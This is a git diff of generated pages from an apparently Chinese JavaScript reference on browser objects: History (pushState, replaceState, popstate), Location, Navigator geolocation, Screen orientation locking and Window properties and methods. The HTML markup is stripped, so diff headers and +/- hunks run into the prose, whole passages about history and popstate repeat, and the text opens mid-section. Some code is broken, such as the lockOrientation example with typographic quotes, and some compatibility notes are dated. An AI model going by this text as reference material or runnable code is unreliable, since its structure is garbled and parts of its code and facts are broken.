                            popstate 事件是设计出来和前面的 2 个方法搭配使用的。一般只有在通过前面 2 个方法设置了同一站点的多条历史记录,并在其之间导航(前进或后退)时,才会触发这个事件。同时,前面 2 个方法所设置的状态对象(第 1 个参数),也会在这个时候通过事件的 event.state 返还回来。

                            此外请注意,history.pushState()history.replaceState() 本身调用时是不触发 popstate 事件的。

                            window.onpopstate = function(event) {
                            alert('location: ' + document.location + ', state: ' + JSON.stringify(event.state));
                            };

                            浏览器兼容性

                            FeatureChromeFirefox(Gecko)Internet ExplorerOperaSafari
                            replaceState.pushState54.0(2.0)1011.505.0
                            history.state184.0(2.0)1011.506.0

                            资料参考(深入了解):

                            History 属性

                            history 对象保存着用户上网的历史记录,从窗口被打开的那一刻算起。因为 historywindow 对象的属性,因此每个浏览器窗口、每个标签页乃至每个框架,都有自己的 history 对象与特定的 window 对象关联。出于安全方面的考虑,开发人员无法得知用户浏览过的 URL。不过,借由用户访问过的页面列表,同样可以在不知道实际 URL 的情况下实现后退和前进。

                            属性描述
                            length返回一个整数,该整数表示会话历史中元素的数目,包括当前加载的页。
                            scrollRestoration允许 Web 应用程序在历史导航上显式地设置默认滚动恢复行为。
                            state返回一个表示历史栈堆顶部状态的值。这是一种可以不必等待 popstate 事件而查看状态的方式。

                            history.length

                            history.length 属性保存着历史记录的 URL 数量。初始时,该值为 1。如果当前窗口先后访问了三个网址,history.length 属性等于 3。

                            由于 IE10+浏览器在初始时返回 2,存在兼容性问题,所以该值并不常用

                            history.length; // 初始时,该值为1
                            history.length; // 访问三个网址后,该值为3

                            应用场景

                            后退阻断

                            +
                            // 刷新当前页面
                            history.go(0);

                            history.back

                            history.back() 方法用于模仿浏览器的后退按钮,相当于 history.go(-1)

                            // 下面两种写法效果一致
                            history.back();
                            history.go(-1);

                            history.forward

                            forward() 方法用于模仿浏览器的前进按钮,相当于 history.go(1)

                            // 后退一页
                            history.back();
                            // 前进一页
                            history.forward();

                            如果移动的位置超出了访问历史的边界,以上三个方法并不报错,而是静默失败 。

                            使用历史记录时,页面通常从浏览器缓存之中加载,而不是重新要求服务器发送新的网页。

                            history.pushState

                            向当前浏览记录栈中添加一条新的历史记录,添加后页面不会重新加载。

                            history.pushState(state, title, url);

                            history.pushState 函数向浏览器的历史堆栈压入一个 URL 为设定值的记录,并改变历史堆栈的当前指针至栈顶。

                            调用 pushState() 方法将新生成一条历史记录,方便用浏览器的 后退前进 来导航(后退 可是相当常用的按钮)。

                            另外,从 URL 的同源策略可以看出,HTML5 History API 的出发点是很明确的,就是让无跳转的单站点也可以将它的各个状态保存为浏览器的多条历史记录。当通过历史记录重新加载站点时,站点可以直接加载到对应的状态。

                            url 设为锚点值时不会触发 onhashchange

                            根据 同源策略,如果设置不同域名地址,会报错,这样做的目的是:防止用户以为它们是同一个网站,若没有此限制,将很容易进行 XSSCSRF 等攻击方式

                            history.replaceState()

                            它和 history.pushState() 方法基本相同,区别只有一点,history.replaceState() 不会新生成历史记录,而是将当前历史记录替换掉,常用于落地页

                            history.replaceState(state, title, url);

                            window.onpopstate

                            push 的对立就是 pop,可以猜到这个事件是在浏览器取出历史记录并加载时触发的。但实际上,它的条件是比较苛刻的,几乎只有 点击浏览器的“前进”、“后退”这些导航按钮,或者是由 JavaScript 调用的 history.back() 等导航方法,且 切换前后的两条历史记录都属于同一个网页文档,才会触发本事件,因为这些操作有一个共性,即修改了历史堆栈的当前指针。

                            上面的 同一个网页文档 请理解为 JavaScript 环境的 document 是同一个,而不是指基础 URL(去掉各类参数的)相同。也就是说,只要有重新加载发生(无论是跳转到一个新站点还是继续在本站点),JavaScript 全局环境发生了变化,popstate 事件都不会触发。

                            popstate 事件是设计出来和前面的 2 个方法搭配使用的。一般只有在通过前面 2 个方法设置了同一站点的多条历史记录,并在其之间导航(前进或后退)时,才会触发这个事件。同时,前面 2 个方法所设置的状态对象(第 1 个参数),也会在这个时候通过事件的 event.state 返还回来。

                            此外请注意,history.pushState()history.replaceState() 本身调用时是不触发 popstate 事件的。

                            window.onpopstate = function(event) {
                            alert('location: ' + document.location + ', state: ' + JSON.stringify(event.state));
                            };

                            浏览器兼容性

                            FeatureChromeFirefox(Gecko)Internet ExplorerOperaSafari
                            replaceState.pushState54.0(2.0)1011.505.0
                            history.state184.0(2.0)1011.506.0

                            资料参考(深入了解):

                            History 属性

                            history 对象保存着用户上网的历史记录,从窗口被打开的那一刻算起。因为 historywindow 对象的属性,因此每个浏览器窗口、每个标签页乃至每个框架,都有自己的 history 对象与特定的 window 对象关联。出于安全方面的考虑,开发人员无法得知用户浏览过的 URL。不过,借由用户访问过的页面列表,同样可以在不知道实际 URL 的情况下实现后退和前进。

                            属性描述
                            length返回一个整数,该整数表示会话历史中元素的数目,包括当前加载的页。
                            scrollRestoration允许 Web 应用程序在历史导航上显式地设置默认滚动恢复行为。
                            state返回一个表示历史栈堆顶部状态的值。这是一种可以不必等待 popstate 事件而查看状态的方式。

                            history.length

                            history.length 属性保存着历史记录的 URL 数量。初始时,该值为 1。如果当前窗口先后访问了三个网址,history.length 属性等于 3。

                            由于 IE10+浏览器在初始时返回 2,存在兼容性问题,所以该值并不常用

                            history.length; // 初始时,该值为1
                            history.length; // 访问三个网址后,该值为3

                            应用场景

                            后退阻断

                            - + diff --git a/browser-object-model/window/index.html b/browser-object-model/window/index.html index a36d1b56a..2ca97f2d5 100644 --- a/browser-object-model/window/index.html +++ b/browser-object-model/window/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -34,6 +37,6 @@ window.g_initialProps = {}; - + diff --git a/browser-object-model/window/location/index.html b/browser-object-model/window/location/index.html index 2f6f0f65e..96b6a6503 100644 --- a/browser-object-model/window/location/index.html +++ b/browser-object-model/window/location/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -38,12 +41,12 @@
                            function urlArgs() {
                            // 定义一个空对象
                            var args = {};
                            // 查找到查询串,并去掉问号
                            var query = location.search.substring(1);
                            // 根据 & 符号将查询字符串分隔开
                            var pairs = query.split('&');
                            -
                            for (let i = 0; i < pairs.length; i++) {
                            // 查找"name=value"
                            const pos = pairs[i].indexOf('=');
                            // 如果没有找到的话,就跳过
                            if (pos == -1) continue;
                            // 提取name
                            const name = pairs[i].substring(0, pos);
                            // 提取value
                            let value = pairs[i].substring(pos + 1);
                            // 对value进行解码
                            value = decodeURIComponent(value);
                            // 存储为属性
                            args[name] = value;
                            }
                            return args;
                            }
                            +
                            for (let i = 0; i < pairs.length; i++) {
                            // 查找"name=value"
                            const pos = pairs[i].indexOf('=');
                            // 如果没有找到的话,就跳过
                            if (pos == -1) continue;
                            // 提取name
                            const name = pairs[i].substring(0, pos);
                            // 提取value
                            let value = pairs[i].substring(pos + 1);
                            // 对value进行解码
                            value = decodeURIComponent(value);
                            // 存储为属性
                            args[name] = value;
                            }
                            return args;
                            }
                            - + diff --git a/browser-object-model/window/navigator/index.html b/browser-object-model/window/navigator/index.html index 970362a3c..ab92fc5b5 100644 --- a/browser-object-model/window/navigator/index.html +++ b/browser-object-model/window/navigator/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -32,12 +35,12 @@
                            const getSuccess = position => {
                            // Position对象有两个属性,coords和timeStamp
                            // timeStamp表示地理数据创建的时间
                            console.log(position.timeStamp);
                            // coords是一个对象,包含了地理位置数据
                            // 估算的纬度
                            console.log(position.coords.latitude);
                            // 估算的经度
                            console.log(position.coords.longitude);
                            // 估算的高度(以米为单位的海拔值)
                            console.log(position.coords.altitude);
                            // 所得经度和纬度的估算精度,以米为单位
                            console.log(position.coords.accuracy);
                            // 所得高度的估算精度,以米为单位
                            console.log(position.coords.altitudeAccuracy);
                            // 宿主设备的当前移动方向,以度为单位,相对于正北方向顺时针方向计算
                            console.log(position.coords.heading);
                            // 设备的当前对地速度,以米/秒为单位
                            console.log(position.coords.speed);
                            // 除上述结果外,Firefox还提供了另一个属性address
                            if (position.address) {
                            // 通过address,可以获得国家、省份、城市
                            console.log(position.address.country);
                            console.log(position.address.province);
                            console.log(position.address.city);
                            }
                            };
                            const getError = error => {
                            // 执行失败的回调函数,会接受一个error对象作为参数
                            // error拥有一个code属性和三个常量属性TIMEOUT、PERMISSION_DENIED、POSITION_UNAVAILABLE
                            // 执行失败时,code属性会指向是那个常量中的一个,从而指明错误原因
                            switch (error.code) {
                            case error.TIMEOUT:
                            console.log('超时');
                            break;
                            case error.PERMISSION_DENIED:
                            console.log('用户拒绝提供地理位置');
                            break;
                            case error.POSITION_UNAVAILABLE:
                            console.log('地理位置不可用');
                            break;
                            default:
                            break;
                            }
                            };
                            -
                            navigator.geolocation.getCurrentPosition(getSuccess, getError, getOptions);
                            // watchPosition方法一样可以设置三个参数
                            // 使用方法和getCurrentPosition方法一致,只是执行效果不同。
                            // getCurrentPosition只执行一次
                            // watchPosition只要设备位置发生,就会执行
                            const watcher_id = navigator.geolocation.watchPosition(getSuccess, getError, getOptions);
                            // clearwatch用于终止watchPosition方法
                            navigator.geolocation.clearWatch(watcher_id);
                            }

                            Navigator 接口表示用户代理的状态和标识。它允许脚本查询它和注册自己进行一些活动。

                            与其他 BOM 对象的情况一样,每个浏览器中的 Navigator 对象也都有一套自己的属性。下表列出了存在于所有浏览器中的属性和方法,以及支持它们的浏览器版本。

                            属性说明
                            appCodeName浏览器名称,所有浏览器都返回 Mozilla。
                            appName浏览器官方名称。
                            appVersion浏览器版本。
                            appMinorVersion次版本信息(IE 返回 0,chrome 和 firefox 不支持)。
                            connection设备的网络连接信息。
                            cookieEnabled表示 cookie 是否启用,所有浏览器都返回 true。
                            geolocation可访问设备的地理位置信息。
                            javaEnabled浏览器是否支持 Java(IE8 浏览器返回 {},其他浏览器返回 function javaEnabled()
                            language表示用户的首用语言(IE10 不支持,其他浏览器返回 zh-CN)。
                            languages表示用户已知语言的 DOMString 数组,并按优先顺序排列。
                            maxTouchPoints当前设备能够支持的最大同时触摸的点数。
                            mimeTypes返回 MimeTypeArray 数组用于列举浏览器所支持的 MIME 类型。
                            onLine浏览器是否连接因特网(IE 根据实际情况返回 true 或 false,chrome 和 firefox 始终返回 true)。
                            platform浏览器所在的系统平台。
                            plugins返回 PluginArray 数组用于列出浏览器安装的插件。
                            product产品名称(IE10 不支持,其他浏览器返回 Gecko)
                            productSub产品次要信息(IE 不支持,chrome 返回 20030107,firefox 返回 20100101)
                            userAgent浏览器的用户代理。
                            vendor浏览器品牌(chrome 返回 Google Inc.,IE 和 firefox 不支持)

                            表中的这些 Navigator 对象的属性通常用于检测显示网页的浏览器类型。

                            +
                            navigator.geolocation.getCurrentPosition(getSuccess, getError, getOptions);
                            // watchPosition方法一样可以设置三个参数
                            // 使用方法和getCurrentPosition方法一致,只是执行效果不同。
                            // getCurrentPosition只执行一次
                            // watchPosition只要设备位置发生,就会执行
                            const watcher_id = navigator.geolocation.watchPosition(getSuccess, getError, getOptions);
                            // clearwatch用于终止watchPosition方法
                            navigator.geolocation.clearWatch(watcher_id);
                            }

                            Navigator 接口表示用户代理的状态和标识。它允许脚本查询它和注册自己进行一些活动。

                            与其他 BOM 对象的情况一样,每个浏览器中的 Navigator 对象也都有一套自己的属性。下表列出了存在于所有浏览器中的属性和方法,以及支持它们的浏览器版本。

                            属性说明
                            appCodeName浏览器名称,所有浏览器都返回 Mozilla。
                            appName浏览器官方名称。
                            appVersion浏览器版本。
                            appMinorVersion次版本信息(IE 返回 0,chrome 和 firefox 不支持)。
                            connection设备的网络连接信息。
                            cookieEnabled表示 cookie 是否启用,所有浏览器都返回 true。
                            geolocation可访问设备的地理位置信息。
                            javaEnabled浏览器是否支持 Java(IE8 浏览器返回 {},其他浏览器返回 function javaEnabled()
                            language表示用户的首用语言(IE10 不支持,其他浏览器返回 zh-CN)。
                            languages表示用户已知语言的 DOMString 数组,并按优先顺序排列。
                            maxTouchPoints当前设备能够支持的最大同时触摸的点数。
                            mimeTypes返回 MimeTypeArray 数组用于列举浏览器所支持的 MIME 类型。
                            onLine浏览器是否连接因特网(IE 根据实际情况返回 true 或 false,chrome 和 firefox 始终返回 true)。
                            platform浏览器所在的系统平台。
                            plugins返回 PluginArray 数组用于列出浏览器安装的插件。
                            product产品名称(IE10 不支持,其他浏览器返回 Gecko)
                            productSub产品次要信息(IE 不支持,chrome 返回 20030107,firefox 返回 20100101)
                            userAgent浏览器的用户代理。
                            vendor浏览器品牌(chrome 返回 Google Inc.,IE 和 firefox 不支持)

                            表中的这些 Navigator 对象的属性通常用于检测显示网页的浏览器类型。

                            - + diff --git a/browser-object-model/window/screen/index.html b/browser-object-model/window/screen/index.html index 6f68262cf..9fce54002 100644 --- a/browser-object-model/window/screen/index.html +++ b/browser-object-model/window/screen/index.html @@ -7,21 +7,24 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + @@ -31,12 +34,12 @@

                            Screen 对象

                            Screen Orientation API

                            Screen Orientation API 是一个能让 Web 开发者能控制屏幕旋转方向的 API,开发者可以利用该 API 检测屏幕的当前方向,在屏幕方向发生改变时得到消息通知,并能通过 API 将屏幕方向锁定到指定状态。目前主流的浏览器都已经部分支持或决定支持该 API,FireFox 26 和 IE 11 都支持了 lockOrientationunlockOrientation API,Crosswalk 4(基于 Chromium 的 Web Runtime)也支持了该 API,Android 上的 Chrome 也正在实现该 API,估计 2014 年一季度之前能够完成。

                            使用方法

                            lockOrientation()

                            const lockedAllowed = window.screen.lockOrientation(orientation);

                            参数介绍

                            • orientation:需要锁定屏幕的方向。这个参数是一个字符串或者是一个由字符串组成的数组。通过多个字符串可以让屏幕只在选定的方向上进行旋转。

                            以下字符串即表示你也许会指定的一些可能的方向。

                            • portrait-primary

                              它表示屏幕处于主要的肖像模式时的方向。如果设备处于正常位置且该位置处于纵向位置,或设备的正常位置处于横向并且设备保持顺时针转动 90°,则会在主肖像模式下考虑屏幕。正常的位置是依赖于设备的。

                            • portrait-secondary

                              它表示屏幕处于辅助肖像模式时的方向。如果设备与正常位置保持 180°,并且该位置处于纵向位置,或者设备的正常位置处于横向位置,并且持有的设备逆时针转动 90°,则屏幕将处于辅助人像模式。正常的位置是依赖于设备的。

                            • landscape-primary

                              它代表了屏幕处于主要风景模式时的方向。 如果设备保持在正常位置,并且该位置处于横向位置,或者设备的正常位置处于纵向位置,并且所保持的设备顺时针旋转 90°,则会将其视为主要横向模式。正常的位置是依赖于设备的。

                            • landscape-secondary

                              它代表了屏幕处于次要风景模式时的方向。如果设备与其正常位置保持 180° 并且该位置处于横向,或者如果设备的正常位置是纵向的,并且所保持的设备逆时针旋转 90°,则将其视为次要横向模式。正常的位置是依赖于设备的。

                            • portrait

                              它表示同时包含 portrait-primaryportrait-secondary.

                            • landscape

                              它表示同时包含 landscape-primarylandscape-secondary.

                            • default

                              它代表 portrait-primarylandscape-primary 主要取决于设备的自然方向。例如,如果面板分辨率为 1280 _ 800,则 default 为横向,如果分辨率为 800 _ 1280,则 default 为纵向。

                            ⚠️ 注意:可同时设置多个锁定值。因此,如果锁定设置为只有一个方向,屏幕方向将永远不会改变,知道屏幕方向解锁。否则,只要方向在设备锁定的方向之中,屏幕方向就会从一个方向改变到另一个方向。

                            返回值

                            如果方向被授权锁定,则返回 true;如果方向锁定被拒绝,则返回 false。请注意,返回值并不表示屏幕方向确实被锁定:可能会有延迟。

                            unlockOrientation()

                            const unlocked = window.screen.unlockOrientation();

                            返回值

                            如果方向授权解锁成功,则返回 true;如果方向锁定解除失败,则返回 false。

                            示例

                            // 锁定屏幕为竖屏模式,不能设备如何旋转,屏幕都不会切换到横屏模式。
                            window.screen.lockOrientation([“portrait-primary”,“portrait-secondary”]);
                            // 锁定屏幕为横屏模式,无论设备如何旋转,屏幕都不会切换到竖屏模式。
                            window.screen.lockOrientation([“landscape-primary”,“landscape-secondary”]);
                            // 取消屏幕的锁屏,屏幕回到原始状态,
                            window.screen.unlockOrientation();

                            兼容性

                            另外需要注意的是 Screen Orientation API 的文档规范还处于开发阶段,浏览器的实现可能带有前缀,例如 Firefox 带有 moz 前缀,IE 带有 ms 前缀。在使用前我们需要添加一些代码,保持更好的兼容性。

                            window.screen.lockOrientation =
                            screen.lockOrientation || screen.mozLockOrientation || screen.msLockOrientation;
                            -
                            window.screen.unlockOrientation =
                            screen.unlockOrientation || screen.mozUnLockOrientation || screen.msUnLockOrientation;

                            Screen 对象的属性

                            screen 对象用来表明客户端的能力,其中包括浏览器窗口外部的显示器的信息,如像素高度和宽度等。

                            每个浏览器中的 screen 对象都包含着各不相同的属性,其中 Chrome 包含 9 个属性,Firefox 包含 10 个,IE8- 浏览器包含 14 个,IE9+ 浏览器包含 17 个。

                            属性说明
                            height屏幕的像素高度(包括导航和底部)
                            width屏幕的像素宽度(包括侧边栏)
                            availHeight屏幕的像素高度减去系统部件高度之后的值(只读)
                            availWidth屏幕的像素宽度减去系统部件宽度之后的值(只读)
                            left当前屏幕距左边的像素距离(Firefox 返回 0,Chrome 和 IE 不支持)
                            top当前屏幕距上方的像素距离(Firefox 返回 0,Chrome 和 IE 不支持)
                            availLeft未被系统部件占用的最左侧的像素值(只读)(Chrome 和 Firefox 返回 0,IE 不支持)
                            availTop未被系统部件占用的最上方的像素值(只读)(Chrome 和 Firefox 返回 0,IE 不支持)
                            orientation屏幕的方向。
                            bufferDepth读、写用于呈现屏外位图的位数(IE 返回 0,Chrome 和 Firefox 不支持)
                            colorDepth用于表现颜色的位数(只读)(IE8- 返回 32,其他浏览器返回 24)
                            pixelDepth屏幕的位深(只读)(IE8- 不支持,其他浏览器返回 24)
                            deviceXDPI屏幕实际的水平 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            deviceYDPI屏幕实际的垂直 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            logicalXDPI屏幕逻辑的水平 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            logicalYDPI屏幕逻辑的垂直 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            updateInterval读、写以毫秒表示的屏幕刷新时间间隔(IE 返回 0,Chrome 和 Firefox 不支持)
                            fontSmoothingEnabled是否启用了字体平滑(只读)(IE 返回 true,Chrome 和 Firefox 不支持)
                            +
                            window.screen.unlockOrientation =
                            screen.unlockOrientation || screen.mozUnLockOrientation || screen.msUnLockOrientation;

                            Screen 对象的属性

                            screen 对象用来表明客户端的能力,其中包括浏览器窗口外部的显示器的信息,如像素高度和宽度等。

                            每个浏览器中的 screen 对象都包含着各不相同的属性,其中 Chrome 包含 9 个属性,Firefox 包含 10 个,IE8- 浏览器包含 14 个,IE9+ 浏览器包含 17 个。

                            属性说明
                            height屏幕的像素高度(包括导航和底部)
                            width屏幕的像素宽度(包括侧边栏)
                            availHeight屏幕的像素高度减去系统部件高度之后的值(只读)
                            availWidth屏幕的像素宽度减去系统部件宽度之后的值(只读)
                            left当前屏幕距左边的像素距离(Firefox 返回 0,Chrome 和 IE 不支持)
                            top当前屏幕距上方的像素距离(Firefox 返回 0,Chrome 和 IE 不支持)
                            availLeft未被系统部件占用的最左侧的像素值(只读)(Chrome 和 Firefox 返回 0,IE 不支持)
                            availTop未被系统部件占用的最上方的像素值(只读)(Chrome 和 Firefox 返回 0,IE 不支持)
                            orientation屏幕的方向。
                            bufferDepth读、写用于呈现屏外位图的位数(IE 返回 0,Chrome 和 Firefox 不支持)
                            colorDepth用于表现颜色的位数(只读)(IE8- 返回 32,其他浏览器返回 24)
                            pixelDepth屏幕的位深(只读)(IE8- 不支持,其他浏览器返回 24)
                            deviceXDPI屏幕实际的水平 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            deviceYDPI屏幕实际的垂直 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            logicalXDPI屏幕逻辑的水平 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            logicalYDPI屏幕逻辑的垂直 DPI(只读)(IE 返回 96,Chrome 和 Firefox 不支持)
                            updateInterval读、写以毫秒表示的屏幕刷新时间间隔(IE 返回 0,Chrome 和 Firefox 不支持)
                            fontSmoothingEnabled是否启用了字体平滑(只读)(IE 返回 true,Chrome 和 Firefox 不支持)
                            - + diff --git a/browser-object-model/window/window/index.html b/browser-object-model/window/window/index.html index 846d0a527..26e711a84 100644 --- a/browser-object-model/window/window/index.html +++ b/browser-object-model/window/window/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Window 对象 - JavaScript Guidebook -

                            Window 对象

                            window 对象有一系列的属性,这些属性本身也是对象。

                            Window 对象的属性

                            属性含义
                            applicationCache(只读)返回该 window 中的应用缓存对象的一个引用。
                            caches(只读)返回了与当前上下文紧密相关的 CacheStorage 对象。
                            ❗️closed(只读)指示引用窗口关闭或没有。
                            ❗️consolewindow.console 提供了向浏览器控制台输出日志信息的方法(log、info、warn、error等)。
                            cryptowindow.crypto 只读属性返回与全局对象关联的 Crypto 对象。 此对象允许网页访问某些加密相关服务。
                            customElements返回一个 CustomElementRegistry 对象的引用,可以用于注册一个新的 custom elements,并且可以用于获取之前定义过的自定义元素的信息。
                            ❗️devicePixelRatio此属性返回当前显示设备的物理像素分辨率与 CSS 像素分辨率的比值。
                            document指向当前窗口内的文档节点。
                            ❗️frameElement返回嵌入当前 window 对象的元素(比如 <iframe> 或者 <object> ),如果当前 window 对象已经是顶层窗口,则返回 null。
                            frames返回当前窗口,一个类数组对象,列出了当前窗口的所有直接子窗口。
                            ❗️fullScreen这个属性表明了窗口是否处于全屏模式下。f11全屏切换。
                            ❗️history(只读)用来获取History对象的引用,History对象提供了操作浏览器会话历史(浏览器地址栏中访问的页面,以及当前页面中通过框架加载的页面)的接口。
                            ❗️indexDB(只读)indexedDB 是 window的一个只读属性,它集成了为应用程序提供异步访问索引数据库的功能的机制。
                            ❗️innerHeight(只读)浏览器窗口的视口(viewport)高度(以像素为单位),如果存在滚动条,则包括它。
                            ❗️innerWidth(只读)浏览器视口(viewport)宽度(单位:像素),如果存在滚动条则包括它。
                            isSecureContext(只读)判断上下文是否能够使用安全上下文的特征的只读属性。
                            length(只读)返回当前窗口中包含的框架数量(框架包括 frame 和 iframe 两种元素)。
                            ❗️localStorage只读的 localStorage 允许你访问一个 Document 的远端(origin)对象 Storage。数据存储为跨浏览器会话。
                            ❗️location(只读)返回一个 Location 对象,其中包含有关文档当前位置的信息。
                            locationbar返回一个可以检查 visibility 属性的 locationbar 对象。
                            personalbarpersonalbar 属性本身也是一个对象,用于访问其自身的 visible 属性来确定个人栏是否可见。
                            menubar返回一个可以检测 visibility 属性的 menubar 对象。
                            messageManager返回这个窗口的消息管理器对象。
                            ❗️name获取/设置窗口的名称。
                            ❗️navigator返回一个 Navigator 对象的引用,可以用它来查询一些关于运行当前脚本的应用程序的相关信息。
                            onabort一个处理发送到 Window 中断事件的事件处理。
                            onbeforeprint打印之前的处理函数。
                            onafterprint打印之后的处理函数。
                            ❗️onanimationcancelanimationcancel 是一个事件处理操作,这个事件在 CSS Animation 属性意外中断时派发出来。
                            ❗️onanimationend当 CSS 动画到达其活动期的结束时发送此事件。
                            ❗️onanimationiteration当动画迭代时触发。
                            ❗️onappinstalledWindow 对象的 onappinstalled 属性用于处理 appinstalled 事件处理程序。 PWA 成功安装时被触发一次。
                            onbeforeinstallpromptWindow.onbeforeinstallprompt 属性是一个事件处理程序,用于处理一个beforeinstallprompt,当一个Web清单存在时,它将在移动设备上发送,但是在提示用户将网站保存到主屏幕之前。
                            onbeforeunload当窗口即将被卸载(关闭)时,会触发该事件。此时页面文档依然可见,且该事件的默认动作可以被取消。
                            onclose当在 Window 对象上触发 close 事件时的事件处理器。
                            oncontextmenu获取或设置当前窗口 Contextmenu 事件的事件处理函数。除非默认行为已经阻止了,否则右键菜单会被激活。
                            ondevicelight事件在设备的光传感器检测到周围环境光的强度发生变化时触发。
                            ondevicemotion设配移动时触发。
                            ondeviceorientation设备方向改变时触发。
                            ondeviceorientationabsolute
                            ondeviceproximity接近或远离设备时触发。
                            onerror加载一个全局的 error 事件处理函数可用于自动收集错误报告。
                            ongamepadconnected手柄连接时触发。
                            ongamepaddisconnected手柄断开时触发。
                            ongotpointercapturegotpointercapture 事件类型触发。
                            onlostpointercapturegotpointercapture 事件类型触发。
                            ❗️onhashchange当 一个窗口的哈希改变时就会触发 hashchange 事件(查看 location.hash)
                            onlanguagechange这样的事件在浏览器通知更佳的语言列表已被更新后被触发。
                            onloadstart在 onload 之前触发。
                            ❗️onload当资源已加载时被触发。
                            onloadendonloadend 属性表示当代码被调用时优先级提高,资源的加载事件触发时调用处理函数。
                            onunload当页面关闭后,会触发 unload 事件。
                            onmessageonmessage 属性是当对象接收到 message 事件时被调用。
                            onmessageerror一个 messageerror 事件发送给 window。
                            onpopstateWindow.onpopstate 是 popstate 事件在 Window 对象上的事件处理程序。
                            onrejectionhandledPromise 拒绝时触发。
                            onreset当收到一个 reset 事件时触发。
                            ❗️onresize可以用来获取或设置当前窗口的 resize 事件的事件处理函数。
                            onselectonselect 用来获取或设置当前窗口的 select 事件的事件处理函数。
                            ❗️onstorage当存储域发生改变时会触发事件。
                            ❗️opener如果当前窗口是由另一个窗口打开的,Window.opener 保留了那个窗口的引用. 如果当前窗口不是由其他窗口打开的, 则该属性返回 null。
                            ❗️origin(只读)返回全局范围的 origin,序列化为一个字符串。域的概念。
                            ❗️outerHeight(只读)为窗口的外层的高度(包括导航栏+状态栏等)。
                            ❗️outerWidth是窗口的外层的宽度。
                            ❗️parent返回当前窗口的父窗口对象。如果一个窗口没有父窗口,则它的 parent 属性为自身的引用。
                            performanceWeb Performance API 允许网页访问某些函数来测量网页和 Web 应用程序的性能,包括 Navigation TimingAPI 和高分辨率时间数据。
                            ❗️screen返回当前 window 的 screen 对象。screen 对象实现了 Screen 接口,它是个特殊的对象,返回当前渲染窗口中和屏幕有关的属性。
                            ❗️screenX返回浏览器左边界到操作系统桌面左边界的水平距离。
                            ❗️screenY返回浏览器顶部距离系统桌面顶部的垂直距离。
                            scrollbars返回滚动条对象,可以检查其可见性。
                            scrollMaxX返回水平最大可以 scroll 的长度,单位像素。
                            scrollMaxY返回垂直最大可以 scroll 的长度,单位像素。
                            ❗️scrollX返回文档/页面水平方向滚动的像素值。
                            ❗️scrollY返回文档/页面垂直方向滚动的像素值。
                            ❗️self返回一个指向当前 window 对象的引用。
                            ❗️sessionStoragesessionStorage 属性允许你访问一个 session Storage对象。
                            speechSynthesis返回一个 speechSynthesis 对象。
                            status设置浏览器底部状态栏的文本。
                            statusbar返回一个 statusbar 对象。
                            toolbar返回一个 toolbar 对象。
                            ❗️top返回窗口体系中的最顶层窗口的引用。
                            URLwindow.URL 属性返回一个对象,它提供了用于创建和管理对象URLs的静态方法。
                            visualViewport返回视觉窗口对象。
                            ❗️PushManager提供接收服务器及请求 url 的推送功能的一些方法。PWA 推功能
                            windowwindow 对象的 window 属性指向这个 window 对象本身。

                            Window 对象的方法

                            方法功能
                            ❗️alert(message)浏览自带的警告对话框。
                            btoa(str)从 String 对象中创建一个 base-64 编码的 ASCII 字符串,其中字符串中的每个字符都被视为一个二进制数据字节。
                            atob(code)对用 base-64 编码过的字符串进行解码。
                            blur()将焦点移出顶层窗口。
                            ❗️requestAnimationFrame(callBack)告诉浏览器您希望执行动画并请求浏览器在下一次重绘之前调用指定的函数来更新动画。
                            ❗️cancelAnimationFrame(requestID)取消一个先前通过调用 window.requestAnimationFrame() 方法添加到计划中的动画帧请求。
                            requestIdleCallback(callback[, options])window.requestIdleCallback() 会在浏览器空闲时期依次调用函数, 这就可以让开发者在主事件循环中执行后台或低优先级的任务,而且不会对像动画和用户交互这样延迟触发而且关键的事件产生影响。
                            cancelIdleCallback(handle)window.cancelIdleCallback() 方法用于取消之前调用window.requestIdleCallback() 的回调。
                            setImmediate(func)该方法用来把一些需要长时间运行的操作放在一个回调函数里,在浏览器完成后面的其他语句后,就立刻执行这个回调函数。
                            clearImmediate(immediateID)此方法用来清除 window.setImmediate
                            ❗️setInterval(callBack, delay)重复调用一个函数或执行一个代码段,在每次调用之间具有固定的时间延迟。
                            ❗️clearInterval(intervalID)取消用 setInterval 设置的重复定时任务。
                            ❗️setTimeout(code[, delay])delay 时间之后执行 code,code 可为 string 或 function。
                            ❗️clearTimeout(timeoutID)清除由 window.setTimeout() 设置的延时定时器。
                            ❗️close()关闭当前窗口。
                            ❗️confirm(message)window.confirm() 方法显示一个具有一个可选消息和两个按钮(确定和取消)的模态对话框 。
                            createImageBitmap(image, sx, sy, sw, sh[, options])接收图片源,并返回 ImageBitmap 的 Promise 对象。
                            ❗️eventIE 专用,表示正在处理的事件对象。
                            ❗️fetch(input[, init])用于发起获取资源的请求。它返回一个 Promise 对象。
                            focus()求将窗口显示在前(靠近屏幕),这可能由于用户设置而失败,并且该窗口在方法返回之前不能保证会显示在最前。
                            getAttention()试图获取用户的注意力。
                            ❗️getComputedStyle(element, [pseudoElt])给出应用活动样式表后的元素的所有 CSS 属性的值,并解析这些值可能包含的任何基本计算。
                            getSelection()返回一个  Selection 对象,表示用户选择的文本范围或光标的当前位置。
                            matchMedia(mediaQueryString)返回一个新的 MediaQueryList 对象,表示指定的媒体查询字符串解析后的结果。
                            minimize()窗口最小化。
                            ❗️moveBy(deltaX, deltaY)根据指定的值,移动当前窗口。
                            ❗️moveTo(x, y)将当前窗口移动到指定的坐标位置。
